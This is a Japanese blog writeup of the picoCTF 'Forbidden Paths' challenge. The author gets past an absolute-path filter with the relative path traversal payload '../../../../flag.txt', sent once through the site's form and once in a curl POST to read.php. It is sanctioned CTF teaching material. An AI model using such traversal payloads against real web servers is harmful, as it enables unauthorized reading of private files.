0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF Writeup: Forbidden Paths

Last updated at Posted at 2025-12-08

picoCTF Writeup: Forbidden Paths

相対パスを使いこなそう問題

  • ジャンル: Web Exploitation
  • 難易度: Medium

Writeup

問題文はこんな感じです。

Can you get the flag?
We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?
Here's the website.
flagをとれるかな?
websiteのファイルは/usr/share/nginx/html/にあり、flagは/flag.txtにあるのですが、絶対パスはフィルタリングされてます。フィルターをすり抜けてflagを読めるかな?こちらがwebsiteです。

websiteを見てみます。
スクリーンショット 2025-12-05 163556.png

表示されているテキストファイルをフォームに打ち込み[Read]ボタンを押すと、そのファイルの中身が表示されます。

このフォームに/flag.txtを入れてみましたが、問題文通りflagは出てきません。

さて、問題文に戻りますが、絶対パスがダメとあります。
なので、相対パスを使えばいいのかな?と思いました。

そして、websiteのファイルは/usr/share/nginx/html/配下にあって、
今回/flag.txtflagが`あるので、相対的にさかのぼっていけばいいのかと。

..で一つ上のディレクトリに上がれるので、

..//usr/share/nginx/
../..//usr/share/
../../..//usr/
../../../..//

で最後にflag
../../../../flag.txt ですね。

はい、flagが取れました。(一部マスク)
picoCTF{7h3_p47h_70_5ucc355_XXXXXXXX}

CLIからのアプローチもやってみるか

今回はちょっと簡単だったので、コマンドからもflagとってみます。
まず、トップページのソースのform部分を確認します。

$ curl -s -i http://saturn.picoctf.net:63163/ | grep -A5 form
    <form role="form" action="read.php" method="post">
      <input type="text" name="filename" placeholder="Filename" required></br>
      <button type="submit" name="read">Read</button>
    </form>
  </body>
</html>

finenameをパラメータにして、read.phpPOSTしていることがわかりました。
curlでやってみます。

$ curl -s -i -X POST http://saturn.picoctf.net:63163/read.php -d "filename=../../../../flag.txt" | grep pico
    picoCTF{7h3_p47h_70_5ucc355_XXXXXXXX}<br>  </body>

curlでもflagとれました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?